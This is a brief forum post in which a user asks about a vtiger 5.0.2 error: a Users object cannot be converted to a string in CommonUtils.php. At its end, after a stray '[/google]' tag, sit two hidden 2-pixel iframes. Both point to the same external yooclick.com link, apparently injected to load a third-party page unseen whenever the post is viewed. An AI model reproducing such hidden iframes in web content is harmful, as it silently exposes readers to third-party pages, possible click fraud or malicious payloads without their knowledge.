Catchable fatal error:

I have installed vtiger 5.0.2 on my machine
I'm getting following error.

Catchable fatal error: Object of class Users could not be converted to string in /www/tiger/include/utils/CommonUtils.php on line 36

[/google] <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;